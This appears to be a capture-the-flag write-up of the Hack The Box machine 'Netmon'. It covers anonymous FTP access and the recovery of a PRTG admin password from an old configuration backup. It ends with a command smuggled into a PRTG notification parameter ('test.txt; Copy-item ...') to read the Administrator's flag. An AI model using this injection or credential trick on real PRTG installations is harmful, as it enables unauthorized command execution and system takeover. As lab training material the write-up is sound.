HTB-Netmon(writeup)

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Hack The Box - Netmon

Hey guys today Netmon retired and here’s my writeup on the machine. It was a easy machine that’s everything I can say about it.
IP of the Box : 10.10.10.152


As always we will start with nmap to scan for open ports and services :
nmap –sC –sV –A 10.10.10.152

We got ftp on port 21, http on port 80 and smb. The most interesting thing is that anonymous login is allowed on ftp. 

For user.txt

root@kali:~/Desktop/HTB/boxes/netmon# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19  12:18AM                 1024 .rnd
02-25-19  10:15PM       <DIR>          inetpub
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19  11:44PM       <DIR>          Administrator
06-28-19  06:43AM       <DIR>          Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19  08:05AM       <DIR>          Documents
07-16-16  09:18AM       <DIR>          Downloads
07-16-16  09:18AM       <DIR>          Music
07-16-16  09:18AM       <DIR>          Pictures
06-28-19  06:49AM                   82 tester.txt
02-03-19  12:35AM                   33 user.txt
07-16-16  09:18AM       <DIR>          Videos
226 Transfer complete.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.07 secs (0.4790 kB/s)
ftp>


cat User.txt: dd58ce67b49e15105************

Now getting root.txt
So Now in the ftp login we found something interesting which is PRTG Network Monitor Credentials

ftp> ls -al
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19  08:05AM       <DIR>          Application Data
02-03-19  08:05AM       <DIR>          Desktop
02-03-19  08:05AM       <DIR>          Documents
02-03-19  12:15AM       <DIR>          Licenses
11-20-16  10:36PM       <DIR>          Microsoft
02-03-19  12:18AM       <DIR>          Paessler
02-03-19  08:05AM       <DIR>          regid.1991-06.com.microsoft
07-16-16  09:18AM       <DIR>          SoftwareDistribution
02-03-19  08:05AM       <DIR>          Start Menu
02-03-19  12:15AM       <DIR>          TEMP
02-03-19  08:05AM       <DIR>          Templates
11-20-16  10:19PM       <DIR>          USOPrivate
11-20-16  10:19PM       <DIR>          USOShared
02-25-19  10:56PM       <DIR>          VMware
226 Transfer complete.
ftp> cd Application Data/Paessler/PRTG Network Monitor
250 CWD command successful.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19  12:40AM       <DIR>          Configuration Auto-Backups
06-28-19  06:24AM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
06-28-19  06:24AM       <DIR>          Logs (Web Server)
02-25-19  08:01PM       <DIR>          Monitoring Database
06-28-19  06:54AM              1287578 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
06-28-19  06:25AM              1647701 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database
226 Transfer complete.
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1153755 bytes received in 3.04 secs (370.2494 kB/s)
ftp>

I got the password which was PrTg@dmin2018  :
So at first the password does not work then I thaught that it is old backup file so after some attempts I changed it to PrTg@dmin2019 and it worked :





We need to go to the notifications settings on our web browser
Click “Setup”--> Click “Notifications” in “Account Settings”-->Click “Add new notification”-->Enable “Execute Program”-->Select “Demo exe notification - outfile.ps1” as the “Program File”
   Now change the parameter to test.txt; Copy-item "C:\Users\Administrator\Desktop\root.txt" -Destination "C:\Users\Public\root.txt" 
We have to create a useless notification to exploit the vulnerability.
So root.txt: 3018977fb944b**************


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